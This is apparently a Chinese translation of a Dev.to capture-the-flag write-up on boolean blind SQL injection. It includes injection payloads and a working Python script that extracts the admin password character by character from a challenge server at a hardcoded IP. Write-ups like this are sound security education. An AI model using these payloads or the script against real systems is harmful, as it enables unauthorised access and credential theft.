简易盲注SQL注入

发布: (2025年12月31日 GMT+8 02:10)
2 min read
原文: Dev.to

Source: Dev.to

Cover image for Simple Blind SQL Injection

漏洞分析

网站通过 HTTP GET 接收参数 uid

Payload 1

admin' AND 1=1 --

结果:

Result 1

Payload 2

admin' AND 1=2 --

结果:

Result 2

→ 未返回 "exists"

结论

后端使用的 SQL 查询形式为:

SELECT * FROM users WHERE uid = '$uid';

→ 这是一种 布尔盲注(Blind SQL Injection)。

利用策略

  1. 使用 LENGTH(upw) 确定密码长度。
  2. 使用 SUBSTRING(upw, position, 1) 提取每个字符。
  3. 与已知字符集([a-z0-9_])进行比较。
  4. 通过响应字符串 "exists" 判断条件是否成立。

详细利用步骤

3.1. 确定密码长度

示例 Payload:

admin' AND LENGTH(upw)=N --

逐渐增大 N,直到服务器返回 "exists" 为止。

3.2. 提取密码的每个字符

在位置 i 使用的 Payload:

admin' AND SUBSTRING(upw,i,1)='c' --

对每个位置遍历整个字符集 [a-z0-9_]

Exploit 脚本

import requests
import string

URL = "http://103.97.125.56:30536/"
TRUE_TEXT = "exists"

charset = string.ascii_lowercase + string.digits + "_"

def is_true(payload):
    params = {"uid": payload}
    r = requests.get(URL, params=params, timeout=5)
    return TRUE_TEXT in r.text

def get_length(max_len=50):
    print("[*] 正在确定密码长度...")
    for length in range(1, max_len + 1):
        payload = f"admin' AND LENGTH(upw)={length} -- "
        if is_true(payload):
            print(f"[+] 密码长度为: {length}")
            return length
    raise Exception("未能确定密码长度")

def dump_password(length):
    password = ""
    print("[*] 正在提取密码...")
    for i in range(1, length + 1):
        for c in charset:
            payload = f"admin' AND SUBSTRING(upw,{i},1)='{c}' -- "
            if is_true(payload):
                password += c
                print(f"[+] 找到第 {i} 位字符: {c}")
                break
        else:
            raise Exception(f"未能在位置 {i} 找到字符")
    return password

if __name__ == "__main__":
    length = get_length()
    password = dump_password(length)
    print("\n[✓] admin 密码:", password)

获得的结果

Password dump result

获取密码后,进行登录:

Login screen

得到的 Flag:

Flag

参考

Back to Blog

相关文章

阅读更多 »